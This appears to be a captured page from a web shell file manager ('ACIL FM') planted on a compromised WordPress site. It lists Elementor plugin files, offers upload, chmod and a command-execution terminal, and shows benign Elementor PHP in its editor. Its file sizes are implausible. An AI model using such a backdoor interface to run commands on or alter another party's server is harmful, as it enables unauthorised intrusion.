ACIL FM
Dark
Refresh
Current DIR:
/home/mhhtmff/www/site/wp-content/plugins/elementor/includes
/
home
mhhtmff
www
site
wp-content
plugins
elementor
includes
Upload
Zip Selected
Delete Selected
Pilih semua
Nama
Ukuran
Permission
Aksi
admin-templates
-
chmod
Open
Rename
Delete
base
-
chmod
Open
Rename
Delete
controls
-
chmod
Open
Rename
Delete
editor-templates
-
chmod
Open
Rename
Delete
elements
-
chmod
Open
Rename
Delete
interfaces
-
chmod
Open
Rename
Delete
libraries
-
chmod
Open
Rename
Delete
managers
-
chmod
Open
Rename
Delete
settings
-
chmod
Open
Rename
Delete
template-library
-
chmod
Open
Rename
Delete
widgets
-
chmod
Open
Rename
Delete
api.php
6.57 MB
chmod
View
DL
Edit
Rename
Delete
autoloader.php
9.28 MB
chmod
View
DL
Edit
Rename
Delete
beta-testers.php
2.99 MB
chmod
View
DL
Edit
Rename
Delete
compatibility.php
10.62 MB
chmod
View
DL
Edit
Rename
Delete
conditions.php
2.7 MB
chmod
View
DL
Edit
Rename
Delete
db.php
14.73 MB
chmod
View
DL
Edit
Rename
Delete
embed.php
8.3 MB
chmod
View
DL
Edit
Rename
Delete
fonts.php
56.36 MB
chmod
View
DL
Edit
Rename
Delete
frontend.php
39.3 MB
chmod
View
DL
Edit
Rename
Delete
heartbeat.php
2.57 MB
chmod
View
DL
Edit
Rename
Delete
maintenance-mode.php
11.13 MB
chmod
View
DL
Edit
Rename
Delete
maintenance.php
2.59 MB
chmod
View
DL
Edit
Rename
Delete
plugin.php
16.74 MB
chmod
View
DL
Edit
Rename
Delete
preview.php
7.78 MB
chmod
View
DL
Edit
Rename
Delete
rollback.php
3.63 MB
chmod
View
DL
Edit
Rename
Delete
shapes.php
6.38 MB
chmod
View
DL
Edit
Rename
Delete
stylesheet.php
8.91 MB
chmod
View
DL
Edit
Rename
Delete
tracker.php
15.35 MB
chmod
View
DL
Edit
Rename
Delete
user.php
7.73 MB
chmod
View
DL
Edit
Rename
Delete
utils.php
20.91 MB
chmod
View
DL
Edit
Rename
Delete
Edit file: /home/mhhtmff/www/site/wp-content/plugins/elementor/includes/conditions.php
<?php namespace Elementor; if ( ! defined( 'ABSPATH' ) ) { exit; // Exit if accessed directly. } /** * Elementor conditions. * * Elementor conditions handler class introduce the compare conditions and the * check conditions methods. * * @since 1.0.0 */ class Conditions { /** * Compare conditions. * * Whether the two values comply the comparison operator. * * @since 1.0.0 * @access public * @static * * @param mixed $left_value First value to compare. * @param mixed $right_value Second value to compare. * @param string $operator Comparison operator. * * @return bool Whether the two values complies the comparison operator. */ public static function compare( $left_value, $right_value, $operator ) { switch ( $operator ) { case '==': return $left_value == $right_value; case '!=': return $left_value != $right_value; case '!==': return $left_value !== $right_value; case 'in': return in_array( $left_value, $right_value, true ); case '!in': return ! in_array( $left_value, $right_value, true ); case 'contains': return in_array( $right_value, $left_value, true ); case '!contains': return ! in_array( $right_value, $left_value, true ); case '<': return $left_value < $right_value; case '<=': return $left_value <= $right_value; case '>': return $left_value > $right_value; case '>=': return $left_value >= $right_value; default: return $left_value === $right_value; } } /** * Check conditions. * * Whether the comparison conditions comply. * * @since 1.0.0 * @access public * @static * * @param array $conditions The conditions to check. * @param array $comparison The comparison parameter. * * @return bool Whether the comparison conditions comply. */ public static function check( array $conditions, array $comparison ) { $is_or_condition = isset( $conditions['relation'] ) && 'or' === $conditions['relation']; $condition_succeed = ! $is_or_condition; foreach ( $conditions['terms'] as $term ) { if ( ! empty( $term['terms'] ) ) { $comparison_result = self::check( $term, $comparison ); } else { preg_match( '/(\w+)(?:\[(\w+)])?/', $term['name'], $parsed_name ); $value = $comparison[ $parsed_name[1] ]; if ( ! empty( $parsed_name[2] ) ) { $value = $value[ $parsed_name[2] ]; } $operator = null; if ( ! empty( $term['operator'] ) ) { $operator = $term['operator']; } $comparison_result = self::compare( $value, $term['value'], $operator ); } if ( $is_or_condition ) { if ( $comparison_result ) { return true; } } elseif ( ! $comparison_result ) { return false; } } return $condition_succeed; } }
Simpan
Batal
Isi Zip:
Unzip
Create
Buat Folder
Buat File
Terminal / Execute
Run
Chmod Bulk
All File
All Folder
All File dan Folder
Apply